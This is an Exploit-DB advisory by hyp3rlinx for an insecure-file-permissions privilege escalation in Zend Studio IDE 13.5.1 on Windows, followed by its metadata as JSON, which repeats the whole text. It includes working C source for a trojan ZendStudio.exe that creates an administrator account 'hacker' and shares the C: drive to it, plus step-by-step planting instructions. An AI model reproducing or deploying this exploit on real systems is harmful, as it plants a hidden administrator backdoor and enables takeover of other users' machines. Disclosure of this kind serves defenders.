Zend Studio IDE 13.5.1 - Insecure File Permissions Privilege Escalation
2016-10-10T00:00:00
ID EDB-ID:40490 Type exploitdb Reporter hyp3rlinx Modified 2016-10-10T00:00:00
Description
Zend Studio IDE 13.5.1 - Insecure File Permissions Privilege Escalation. Local exploit for Windows platform
[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/ZEND-STUDIO-PRIVILEGE-ESCALATION.txt
[+] ISR: ApparitionSec
Vendor:
============
www.zend.com
Product:
======================
ZendStudio IDE v13.5.1
Zend Studio is the leading PHP IDE. It is the only PHP IDE that combines mobile development with PHP and includes a sample mobile
app with source code.
Vulnerability Type:
=====================
Privilege Escalation
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
ZendStudio IDE uses weak insecure permissions settings on its files/directory as the âEveryoneâ group has full access on it.
Allowing low privileged users to execute arbitrary code in the security context of ANY other users with elevated privileges
on the affected system.
"Everyone" encompasses all users who have logged in with a password as well as built-in, non-password protected accounts such as Guest
and LOCAL_SERVICE.
Any user (even guest) will be able to replace, modify or change the file. This would allow an attacker the ability to inject code or
replace the ZendStudio executable and have it run in the context of the system.
e.g.
c:\Program Files (x86)\Zend\Zend Studio 13.5.1> icacls ZendStudio.exe
ZendStudio.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
x86_64 version ...
c:\Program Files\Zend>icacls * | more
Zend Studio 13.5.1 Everyone:(F)
Everyone:(OI)(CI)(IO)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(I
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Exploit code(s):
===============
1) Compile below 'C' code name it as "ZendStudio.exe"
#include<windows.h>
int main(void){
system("net user hacker abc123 /add");
system("net localgroup Administrators hacker /add");
system("net share SHARE_NAME=c:\ /grant:hacker,full");
WinExec("C:\\Program Files (x86)\\Zend\\Zend Studio 13.5.1\\~ZendStudio.exe",0);
return 0;
}
2) Rename original "ZendStudio.exe" to "~ZendStudio.exe"
3) Place our malicious "ZendStudio.exe" in the ZendStudio directory
4) Logout and wait for a more privileged user to login and use ZendStudio IDE then BOOM!!!!! later,
go back and login with your shiny new account.
Disclosure Timeline:
========================================
Vendor Notification: September 30, 2016
October 8, 2016 : Public Disclosure
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.
hyp3rlinx
{"id": "EDB-ID:40490", "hash": "3b9aabd9d376ee519dc349447a498854", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Zend Studio IDE 13.5.1 - Insecure File Permissions Privilege Escalation", "description": "Zend Studio IDE 13.5.1 - Insecure File Permissions Privilege Escalation. Local exploit for Windows platform", "published": "2016-10-10T00:00:00", "modified": "2016-10-10T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/40490/", "reporter": "hyp3rlinx", "references": [], "cvelist": [], "lastseen": "2016-10-10T21:29:25", "history": [], "viewCount": 3, "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2016-10-10T21:29:25"}, "dependencies": {"references": [], "modified": "2016-10-10T21:29:25"}, "vulnersScore": 0.2}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/40490/", "sourceData": "[+] Credits: John Page aka hyp3rlinx\r\n\r\n[+] Website: hyp3rlinx.altervista.org\r\n\r\n[+] Source: http://hyp3rlinx.altervista.org/advisories/ZEND-STUDIO-PRIVILEGE-ESCALATION.txt\r\n\r\n[+] ISR: ApparitionSec\r\n\r\n\r\n\r\nVendor:\r\n============\r\nwww.zend.com\r\n\r\n\r\n\r\nProduct:\r\n======================\r\nZendStudio IDE v13.5.1\r\n\r\nZend Studio is the leading PHP IDE. It is the only PHP IDE that combines mobile development with PHP and includes a sample mobile\r\napp with source code.\r\n\r\n\r\n\r\nVulnerability Type:\r\n=====================\r\nPrivilege Escalation\r\n\r\n\r\n\r\nCVE Reference:\r\n==============\r\nN/A\r\n\r\n\r\nVulnerability Details:\r\n=====================\r\n\r\nZendStudio IDE uses weak insecure permissions settings on its files/directory as the \u00e2\u0080\u009cEveryone\u00e2\u0080\u009d group has full access on it.\r\nAllowing low privileged users to execute arbitrary code in the security context of ANY other users with elevated privileges\r\non the affected system.\r\n\r\n\"Everyone\" encompasses all users who have logged in with a password as well as built-in, non-password protected accounts such as Guest\r\nand LOCAL_SERVICE.\r\n\r\nAny user (even guest) will be able to replace, modify or change the file. This would allow an attacker the ability to inject code or\r\nreplace the ZendStudio executable and have it run in the context of the system.\r\n\r\n\r\ne.g.\r\n\r\nc:\\Program Files (x86)\\Zend\\Zend Studio 13.5.1> icacls ZendStudio.exe\r\n\r\nZendStudio.exe Everyone:(I)(F)\r\n NT AUTHORITY\\SYSTEM:(I)(F)\r\n BUILTIN\\Administrators:(I)(F)\r\n BUILTIN\\Users:(I)(RX)\r\n\r\n\r\nx86_64 version ...\r\n\r\n\r\nc:\\Program Files\\Zend>icacls * | more\r\nZend Studio 13.5.1 Everyone:(F)\r\n Everyone:(OI)(CI)(IO)(F)\r\n NT SERVICE\\TrustedInstaller:(I)(F)\r\n NT SERVICE\\TrustedInstaller:(I)(CI)(I\r\n NT AUTHORITY\\SYSTEM:(I)(F)\r\n NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(IO)(F\r\n BUILTIN\\Administrators:(I)(F)\r\n BUILTIN\\Administrators:(I)(OI)(CI)(IO\r\n BUILTIN\\Users:(I)(RX)\r\n BUILTIN\\Users:(I)(OI)(CI)(IO)(GR,GE)\r\n CREATOR OWNER:(I)(OI)(CI)(IO)(F)\r\n\r\n\r\n\r\nExploit code(s):\r\n===============\r\n\r\n1) Compile below 'C' code name it as \"ZendStudio.exe\"\r\n\r\n\r\n#include<windows.h>\r\n\r\nint main(void){\r\n system(\"net user hacker abc123 /add\");\r\n system(\"net localgroup Administrators hacker /add\");\r\n system(\"net share SHARE_NAME=c:\\ /grant:hacker,full\");\r\n WinExec(\"C:\\\\Program Files (x86)\\\\Zend\\\\Zend Studio 13.5.1\\\\~ZendStudio.exe\",0);\r\nreturn 0;\r\n} \r\n\r\n\r\n2) Rename original \"ZendStudio.exe\" to \"~ZendStudio.exe\"\r\n\r\n\r\n3) Place our malicious \"ZendStudio.exe\" in the ZendStudio directory\r\n\r\n\r\n4) Logout and wait for a more privileged user to login and use ZendStudio IDE then BOOM!!!!! later,\r\ngo back and login with your shiny new account.\r\n\r\n\r\n\r\nDisclosure Timeline:\r\n========================================\r\nVendor Notification: September 30, 2016\r\nOctober 8, 2016 : Public Disclosure\r\n\r\n\r\n\r\nExploitation Technique:\r\n=======================\r\nLocal\r\n\r\n\r\n\r\nSeverity Level:\r\n===============\r\nHigh\r\n\r\n\r\n\r\n[+] Disclaimer\r\nThe information contained within this advisory is supplied \"as-is\" with no warranties or guarantees of fitness of use or otherwise.\r\nPermission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and\r\nthat due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit\r\nis given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility\r\nfor any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information\r\nor exploits by the author or elsewhere.\r\n\r\nhyp3rlinx\r\n", "osvdbidlist": [], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}